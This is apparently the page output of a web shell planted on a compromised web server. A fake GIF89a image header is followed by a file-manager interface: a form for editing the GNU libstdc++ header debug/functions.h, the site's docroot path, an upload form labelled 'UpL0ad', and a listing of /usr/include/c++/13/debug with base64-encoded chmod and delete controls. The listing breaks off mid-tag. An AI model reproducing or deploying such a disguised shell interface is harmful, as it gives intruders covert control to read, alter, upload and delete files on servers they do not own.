GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>functions.h<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw%3D%3D&f=ZnVuY3Rpb25zLmg%3D"><input name="f" value="functions.h"><textarea name="t">// Debugging support implementation -*- C++ -*-

// Copyright (C) 2003-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.

// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

/** @file debug/functions.h
 *  This file is a GNU debug extension to the Standard C++ Library.
 */

#ifndef _GLIBCXX_DEBUG_FUNCTIONS_H
#define _GLIBCXX_DEBUG_FUNCTIONS_H 1

#include &lt;bits/stl_function.h&gt;	// for less

#if __cplusplus &gt;= 201103L
# include &lt;bits/stl_iterator.h&gt;	// for __miter_base
# include &lt;type_traits&gt;		// for is_lvalue_reference and __conditional_t.
#endif

#include &lt;debug/helper_functions.h&gt;
#include &lt;debug/formatter.h&gt;

namespace __gnu_debug
{
  template&lt;typename _Sequence&gt;
    struct _Insert_range_from_self_is_safe
    { enum { __value = 0 }; };

  template&lt;typename _Sequence&gt;
    struct _Is_contiguous_sequence : std::__false_type { };

  /* Checks that [first, last) is a valid range, and then returns
   * __first. This routine is useful when we can't use a separate
   * assertion statement because, e.g., we are in a constructor.
  */
  template&lt;typename _InputIterator&gt;
    inline _InputIterator
    __check_valid_range(const _InputIterator&amp; __first,
			const _InputIterator&amp; __last,
			const char* __file,
			unsigned int __line,
			const char* __function)
    {
      __glibcxx_check_valid_range_at(__first, __last,
				     __file, __line, __function);
      return __first;
    }

  /* Handle the case where __other is a pointer to _Sequence::value_type. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category&gt;
    inline bool
    __foreign_iterator_aux4(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	const typename _Sequence::value_type* __other)
    {
      typedef const typename _Sequence::value_type* _PointerType;
      typedef std::less&lt;_PointerType&gt; _Less;
#if __cplusplus &gt;= 201103L
      constexpr _Less __l{};
#else
      const _Less __l = _Less();
#endif
      const _Sequence* __seq = __it._M_get_sequence();
      const _PointerType __begin = std::__addressof(*__seq-&gt;_M_base().begin());
      const _PointerType __end = std::__addressof(*(__seq-&gt;_M_base().end()-1));

      // Check whether __other points within the contiguous storage.
      return __l(__other, __begin) || __l(__end, __other);
    }

  /* Fallback overload for when we can't tell, assume it is valid. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category&gt;
    inline bool
    __foreign_iterator_aux4(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp;, ...)
    { return true; }

  /* Handle sequences with contiguous storage */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _InputIterator&gt;
    inline bool
    __foreign_iterator_aux3(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	const _InputIterator&amp; __other, const _InputIterator&amp; __other_end,
	std::__true_type)
    {
      if (__other == __other_end)
	return true;  // inserting nothing is safe even if not foreign iters
      if (__it._M_get_sequence()-&gt;empty())
	return true;  // can't be self-inserting if self is empty
      return __foreign_iterator_aux4(__it, std::__addressof(*__other));
    }

  /* Handle non-contiguous containers, assume it is valid. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _InputIterator&gt;
    inline bool
    __foreign_iterator_aux3(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp;,
	const _InputIterator&amp;, const _InputIterator&amp;,
	std::__false_type)
    { return true; }

  /** Handle debug iterators from the same type of container. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _OtherIterator&gt;
    inline bool
    __foreign_iterator_aux2(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	const _Safe_iterator&lt;_OtherIterator, _Sequence, _Category&gt;&amp; __other,
	const _Safe_iterator&lt;_OtherIterator, _Sequence, _Category&gt;&amp;)
    { return __it._M_get_sequence() != __other._M_get_sequence(); }

  /** Handle debug iterators from different types of container. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _OtherIterator, typename _OtherSequence,
	   typename _OtherCategory&gt;
    inline bool
    __foreign_iterator_aux2(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp;,
	const _Safe_iterator&lt;_OtherIterator, _OtherSequence,
			     _OtherCategory&gt;&amp;,
	const _Safe_iterator&lt;_OtherIterator, _OtherSequence,
			     _OtherCategory&gt;&amp;)
    { return true; }

  /* Handle non-debug iterators. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _InputIterator&gt;
    inline bool
    __foreign_iterator_aux2(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	const _InputIterator&amp; __other,
	const _InputIterator&amp; __other_end)
    {
#if __cplusplus &lt; 201103L
      typedef _Is_contiguous_sequence&lt;_Sequence&gt; __tag;
#else
      using __lvalref = std::is_lvalue_reference&lt;
	typename std::iterator_traits&lt;_InputIterator&gt;::reference&gt;;
      using __contiguous = _Is_contiguous_sequence&lt;_Sequence&gt;;
      using __tag = std::__conditional_t&lt;__lvalref::value, __contiguous,
					 std::__false_type&gt;;
#endif
      return __foreign_iterator_aux3(__it, __other, __other_end, __tag());
    }

  /* Handle the case where we aren't really inserting a range after all */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _Integral&gt;
    inline bool
    __foreign_iterator_aux(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp;,
	_Integral, _Integral, std::__true_type)
    { return true; }

  /* Handle all iterators. */
  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _InputIterator&gt;
    inline bool
    __foreign_iterator_aux(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	_InputIterator __other, _InputIterator __other_end,
	std::__false_type)
    {
      return _Insert_range_from_self_is_safe&lt;_Sequence&gt;::__value
	|| __foreign_iterator_aux2(__it, std::__miter_base(__other),
				   std::__miter_base(__other_end));
    }

  template&lt;typename _Iterator, typename _Sequence, typename _Category,
	   typename _InputIterator&gt;
    inline bool
    __foreign_iterator(
	const _Safe_iterator&lt;_Iterator, _Sequence, _Category&gt;&amp; __it,
	_InputIterator __other, _InputIterator __other_end)
    {
      typedef typename std::__is_integer&lt;_InputIterator&gt;::__type _Integral;
      return __foreign_iterator_aux(__it, __other, __other_end, _Integral());
    }

  // Can't check if an input iterator sequence is sorted, because we
  // can't step through the sequence.
  template&lt;typename _InputIterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_aux(const _InputIterator&amp;, const _InputIterator&amp;,
                       std::input_iterator_tag)
    { return true; }

  // Can verify if a forward iterator sequence is in fact sorted using
  // std::__is_sorted
  template&lt;typename _ForwardIterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_aux(_ForwardIterator __first, _ForwardIterator __last,
                       std::forward_iterator_tag)
    {
      if (__first == __last)
        return true;

      _ForwardIterator __next = __first;
      for (++__next; __next != __last; __first = __next, (void)++__next)
        if (*__next &lt; *__first)
          return false;

      return true;
    }

  // Can't check if an input iterator sequence is sorted, because we can't step
  // through the sequence.
  template&lt;typename _InputIterator, typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_aux(const _InputIterator&amp;, const _InputIterator&amp;,
                       _Predicate, std::input_iterator_tag)
    { return true; }

  // Can verify if a forward iterator sequence is in fact sorted using
  // std::__is_sorted
  template&lt;typename _ForwardIterator, typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_aux(_ForwardIterator __first, _ForwardIterator __last,
                       _Predicate __pred, std::forward_iterator_tag)
    {
      if (__first == __last)
        return true;

      _ForwardIterator __next = __first;
      for (++__next; __next != __last; __first = __next, (void)++__next)
        if (__pred(*__next, *__first))
          return false;

      return true;
    }

  // Determine if a sequence is sorted.
  template&lt;typename _InputIterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted(const _InputIterator&amp; __first, const _InputIterator&amp; __last)
    {
      return __check_sorted_aux(__first, __last,
				std::__iterator_category(__first));
    }

  template&lt;typename _InputIterator, typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted(const _InputIterator&amp; __first, const _InputIterator&amp; __last,
                   _Predicate __pred)
    {
      return __check_sorted_aux(__first, __last, __pred,
				std::__iterator_category(__first));
    }

  template&lt;typename _InputIterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set_aux(const _InputIterator&amp; __first,
			   const _InputIterator&amp; __last,
			   std::__true_type)
    { return __check_sorted(__first, __last); }

  template&lt;typename _InputIterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set_aux(const _InputIterator&amp;,
			   const _InputIterator&amp;,
			   std::__false_type)
    { return true; }

  template&lt;typename _InputIterator, typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set_aux(const _InputIterator&amp; __first,
			   const _InputIterator&amp; __last,
			   _Predicate __pred, std::__true_type)
    { return __check_sorted(__first, __last, __pred); }

  template&lt;typename _InputIterator, typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set_aux(const _InputIterator&amp;,
			   const _InputIterator&amp;, _Predicate,
			   std::__false_type)
    { return true; }

  // ... special variant used in std::merge, std::includes, std::set_*.
  template&lt;typename _InputIterator1, typename _InputIterator2&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set(const _InputIterator1&amp; __first,
		       const _InputIterator1&amp; __last,
		       const _InputIterator2&amp;)
    {
      typedef typename std::iterator_traits&lt;_InputIterator1&gt;::value_type
	_ValueType1;
      typedef typename std::iterator_traits&lt;_InputIterator2&gt;::value_type
	_ValueType2;

      typedef typename std::__are_same&lt;_ValueType1, _ValueType2&gt;::__type
	_SameType;
      return __check_sorted_set_aux(__first, __last, _SameType());
    }

  template&lt;typename _InputIterator1, typename _InputIterator2,
	   typename _Predicate&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_sorted_set(const _InputIterator1&amp; __first,
		       const _InputIterator1&amp; __last,
		       const _InputIterator2&amp;, _Predicate __pred)
    {
      typedef typename std::iterator_traits&lt;_InputIterator1&gt;::value_type
	_ValueType1;
      typedef typename std::iterator_traits&lt;_InputIterator2&gt;::value_type
	_ValueType2;

      typedef typename std::__are_same&lt;_ValueType1, _ValueType2&gt;::__type
	_SameType;
      return __check_sorted_set_aux(__first, __last, __pred, _SameType());
   }

  // _GLIBCXX_RESOLVE_LIB_DEFECTS
  // 270. Binary search requirements overly strict
  // Determine if a sequence is partitioned w.r.t. this element.
  template&lt;typename _ForwardIterator, typename _Tp&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_partitioned_lower(_ForwardIterator __first,
			      _ForwardIterator __last, const _Tp&amp; __value)
    {
      while (__first != __last &amp;&amp; *__first &lt; __value)
	++__first;
      if (__first != __last)
	{
	  ++__first;
	  while (__first != __last &amp;&amp; !(*__first &lt; __value))
	    ++__first;
	}
      return __first == __last;
    }

  template&lt;typename _ForwardIterator, typename _Tp&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_partitioned_upper(_ForwardIterator __first,
			      _ForwardIterator __last, const _Tp&amp; __value)
    {
      while (__first != __last &amp;&amp; !(__value &lt; *__first))
	++__first;
      if (__first != __last)
	{
	  ++__first;
	  while (__first != __last &amp;&amp; __value &lt; *__first)
	    ++__first;
	}
      return __first == __last;
    }

  // Determine if a sequence is partitioned w.r.t. this element.
  template&lt;typename _ForwardIterator, typename _Tp, typename _Pred&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_partitioned_lower(_ForwardIterator __first,
			      _ForwardIterator __last, const _Tp&amp; __value,
			      _Pred __pred)
    {
      while (__first != __last &amp;&amp; bool(__pred(*__first, __value)))
	++__first;
      if (__first != __last)
	{
	  ++__first;
	  while (__first != __last &amp;&amp; !bool(__pred(*__first, __value)))
	    ++__first;
	}
      return __first == __last;
    }

  template&lt;typename _ForwardIterator, typename _Tp, typename _Pred&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __check_partitioned_upper(_ForwardIterator __first,
			      _ForwardIterator __last, const _Tp&amp; __value,
			      _Pred __pred)
    {
      while (__first != __last &amp;&amp; !bool(__pred(__value, *__first)))
	++__first;
      if (__first != __last)
	{
	  ++__first;
	  while (__first != __last &amp;&amp; bool(__pred(__value, *__first)))
	    ++__first;
	}
      return __first == __last;
    }

#if __cplusplus &gt;= 201103L
  struct _Irreflexive_checker
  {
    template&lt;typename _It&gt;
      static typename std::iterator_traits&lt;_It&gt;::reference
      __ref();

    template&lt;typename _It,
	     typename = decltype(__ref&lt;_It&gt;() &lt; __ref&lt;_It&gt;())&gt;
      _GLIBCXX20_CONSTEXPR
      static bool
      _S_is_valid(_It __it)
      { return !(*__it &lt; *__it); }

    // Fallback method if operator doesn't exist.
    template&lt;typename... _Args&gt;
      _GLIBCXX20_CONSTEXPR
      static bool
      _S_is_valid(_Args...)
      { return true; }

    template&lt;typename _It, typename _Pred, typename
	= decltype(std::declval&lt;_Pred&gt;()(__ref&lt;_It&gt;(), __ref&lt;_It&gt;()))&gt;
      _GLIBCXX20_CONSTEXPR
      static bool
      _S_is_valid_pred(_It __it, _Pred __pred)
      { return !__pred(*__it, *__it); }

    // Fallback method if predicate can't be invoked.
    template&lt;typename... _Args&gt;
      _GLIBCXX20_CONSTEXPR
      static bool
      _S_is_valid_pred(_Args...)
      { return true; }
  };

  template&lt;typename _Iterator&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __is_irreflexive(_Iterator __it)
    { return _Irreflexive_checker::_S_is_valid(__it); }

  template&lt;typename _Iterator, typename _Pred&gt;
    _GLIBCXX20_CONSTEXPR
    inline bool
    __is_irreflexive_pred(_Iterator __it, _Pred __pred)
    { return _Irreflexive_checker::_S_is_valid_pred(__it, __pred); }
#endif

} // namespace __gnu_debug

#endif
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/debug<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=YXNzZXJ0aW9ucy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=YXNzZXJ0aW9ucy5o"/>assertions.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=YXNzZXJ0aW9ucy5o&c=`+btoa(c):0" value="0644"></td><td>2367</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=Yml0c2V0">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Yml0c2V0"/>bitset</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Yml0c2V0&c=`+btoa(c):0" value="0644"></td><td>12851</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=ZGVidWcuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZGVidWcuaA=="/>debug.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZGVidWcuaA==&c=`+btoa(c):0" value="0644"></td><td>6184</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=ZGVxdWU=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZGVxdWU="/>deque</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZGVxdWU=&c=`+btoa(c):0" value="0644"></td><td>18868</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=Zm9ybWF0dGVyLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Zm9ybWF0dGVyLmg="/>formatter.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Zm9ybWF0dGVyLmg=&c=`+btoa(c):0" value="0644"></td><td>18326</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=Zm9yd2FyZF9saXN0">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Zm9yd2FyZF9saXN0"/>forward_list</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=Zm9yd2FyZF9saXN0&c=`+btoa(c):0" value="0644"></td><td>28463</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=ZnVuY3Rpb25zLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZnVuY3Rpb25zLmg="/>functions.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=ZnVuY3Rpb25zLmg=&c=`+btoa(c):0" value="0644"></td><td>15590</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=aGVscGVyX2Z1bmN0aW9ucy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=aGVscGVyX2Z1bmN0aW9ucy5o"/>helper_functions.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=aGVscGVyX2Z1bmN0aW9ucy5o&c=`+btoa(c):0" value="0644"></td><td>10494</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bGlzdA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bGlzdA=="/>list</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bGlzdA==&c=`+btoa(c):0" value="0644"></td><td>27170</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bWFjcm9zLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFjcm9zLmg="/>macros.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFjcm9zLmg=&c=`+btoa(c):0" value="0644"></td><td>20716</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bWFw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFw"/>map</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFw&c=`+btoa(c):0" value="0644"></td><td>1656</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bWFwLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFwLmg="/>map.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bWFwLmg=&c=`+btoa(c):0" value="0644"></td><td>23370</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bXVsdGltYXAuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bXVsdGltYXAuaA=="/>multimap.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bXVsdGltYXAuaA==&c=`+btoa(c):0" value="0644"></td><td>20639</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=bXVsdGlzZXQuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bXVsdGlzZXQuaA=="/>multiset.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=bXVsdGlzZXQuaA==&c=`+btoa(c):0" value="0644"></td><td>19538</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9iYXNlLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9iYXNlLmg="/>safe_base.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9iYXNlLmg=&c=`+btoa(c):0" value="0644"></td><td>9279</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9jb250YWluZXIuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9jb250YWluZXIuaA=="/>safe_container.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9jb250YWluZXIuaA==&c=`+btoa(c):0" value="0644"></td><td>3935</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9pdGVyYXRvci5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9pdGVyYXRvci5o"/>safe_iterator.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9pdGVyYXRvci5o&c=`+btoa(c):0" value="0644"></td><td>31313</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9pdGVyYXRvci50Y2M=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9pdGVyYXRvci50Y2M="/>safe_iterator.tcc</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9pdGVyYXRvci50Y2M=&c=`+btoa(c):0" value="0644"></td><td>19848</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9sb2NhbF9pdGVyYXRvci5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9sb2NhbF9pdGVyYXRvci5o"/>safe_local_iterator.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9sb2NhbF9pdGVyYXRvci5o&c=`+btoa(c):0" value="0644"></td><td>13694</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9sb2NhbF9pdGVyYXRvci50Y2M=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9sb2NhbF9pdGVyYXRvci50Y2M="/>safe_local_iterator.tcc</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9sb2NhbF9pdGVyYXRvci50Y2M=&c=`+btoa(c):0" value="0644"></td><td>3065</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9zZXF1ZW5jZS5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9zZXF1ZW5jZS5o"/>safe_sequence.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9zZXF1ZW5jZS5o&c=`+btoa(c):0" value="0644"></td><td>5096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV9zZXF1ZW5jZS50Y2M=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9zZXF1ZW5jZS50Y2M="/>safe_sequence.tcc</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV9zZXF1ZW5jZS50Y2M=&c=`+btoa(c):0" value="0644"></td><td>5040</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV91bm9yZGVyZWRfYmFzZS5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfYmFzZS5o"/>safe_unordered_base.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfYmFzZS5o&c=`+btoa(c):0" value="0644"></td><td>6895</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLmg="/>safe_unordered_container.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLmg=&c=`+btoa(c):0" value="0644"></td><td>5999</td></tr><tr><td><a 